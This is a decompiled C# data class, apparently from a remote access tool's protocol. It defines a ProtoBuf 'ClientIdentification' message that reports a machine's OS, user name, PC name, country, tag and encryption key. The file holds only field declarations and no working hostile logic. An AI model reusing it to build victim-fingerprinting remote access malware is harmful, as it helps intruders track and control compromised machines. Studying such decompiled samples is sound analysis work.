﻿// Decompiled with JetBrains decompiler
// Type: InvokedCommon.Messages.ClientIdentification
// Assembly: InvokedCommon, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: A935EE8A-7FFF-4BAB-94FD-31AEC4036FB9
// Assembly location: C:\Users\ian\Downloads\Telegram Desktop\fein\InvokedCommon.dll

using ProtoBuf;


namespace InvokedCommon.Messages
{
	[ProtoContract]
	public class ClientIdentification : IMessage
	{
		[ProtoMember(1)]
		public string Version { get; set; }

		[ProtoMember(2)]
		public string OperatingSystem { get; set; }

		[ProtoMember(3)]
		public string AccountType { get; set; }

		[ProtoMember(4)]
		public string Country { get; set; }

		[ProtoMember(5)]
		public string CountryCode { get; set; }

		[ProtoMember(6)]
		public int ImageIndex { get; set; }

		[ProtoMember(7)]
		public string Id { get; set; }

		[ProtoMember(8)]
		public string Username { get; set; }

		[ProtoMember(9)]
		public string PcName { get; set; }

		[ProtoMember(10)]
		public string Tag { get; set; }

		[ProtoMember(11)]
		public string EncryptionKey { get; set; }

		[ProtoMember(12)]
		public byte[] Signature { get; set; }
	}
}
